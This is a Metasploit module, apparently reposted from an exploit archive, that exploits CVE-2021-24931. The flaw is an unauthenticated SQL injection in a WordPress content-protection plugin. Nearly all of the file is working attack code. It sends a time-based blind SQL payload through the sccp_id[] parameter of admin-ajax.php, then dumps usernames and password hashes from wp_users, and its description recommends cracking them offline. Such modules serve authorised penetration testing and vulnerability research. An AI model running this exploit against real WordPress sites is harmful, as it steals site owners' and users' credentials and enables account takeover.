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## https://sploitus.com/exploit?id=PACKETSTORM:181133
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Exploit::SQLi
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi',
'Description' => %q{
Secure Copy Content Protection and Content Locking, a WordPress plugin,
prior to 2.8.2 is affected by an unauthenticated SQL injection via the
`sccp_id[]` parameter.
Remote attackers can exploit this vulnerability to dump usernames and password hashes
from the`wp_users` table of the affected WordPress installation. These password hashes
can then be cracked offline using tools such as Hashcat to obtain valid login
credentials for the affected WordPress installation.
},
'Author' => [
'h00die', # msf module
'Hacker5preme (Ron Jost)', # edb PoC
'Krzysztof Zając (kazet)', # Original bug discovery and writeup
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2021-24931'],
['URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24931/README.md'],
['URL', 'https://kazet.cc/2022/02/03/fuzzing-wordpress-plugins.html'],
['EDB', '50733'],
['WPVDB', '1cd52d61-af75-43ed-9b99-b46c471c4231'],
],
'Actions' => [
['List Users', { 'Description' => 'Queries username, password hash for USER_COUNT users' }]
],
'DefaultAction' => 'List Users',
'DisclosureDate' => '2021-11-08',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options [
OptInt.new('USER_COUNT', [true, 'Number of user credentials to enumerate', 3])
]
end
def check_host(_ip)
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end
checkcode = check_plugin_version_from_readme('secure-copy-content-protection', '2.8.2')
if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe('Secure Copy Content Protection and Content Locking version not vulnerable')
end
checkcode
end
def run_host(ip)
id = Rex::Text.rand_text_numeric(1..20)
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
res = send_request_cgi({
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_get' => {
'action' => 'ays_sccp_results_export_file',
'sccp_id[]' => "#{id}) AND (SELECT #{Rex::Text.rand_text_numeric(4..20)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4..20)})-- #{Rex::Text.rand_text_alpha(4..20)}",
'type' => 'json'
}
})
fail_with(Failure::Unreachable, 'Connection failed') unless res
end
unless @sqli.test_vulnerable
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
return
end
columns = ['user_login', 'user_pass']
print_status('Enumerating Usernames and Password Hashes')
print_warning('Each user will take about 5-10 minutes to enumerate. Be patient.')
data = @sqli.dump_table_fields('wp_users', columns, '', datastore['USER_COUNT'])
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
data.each do |user|
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
private_data: user[1],
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << user
end
print_good('Dumped table contents:')
print_line(table.to_s)
end
end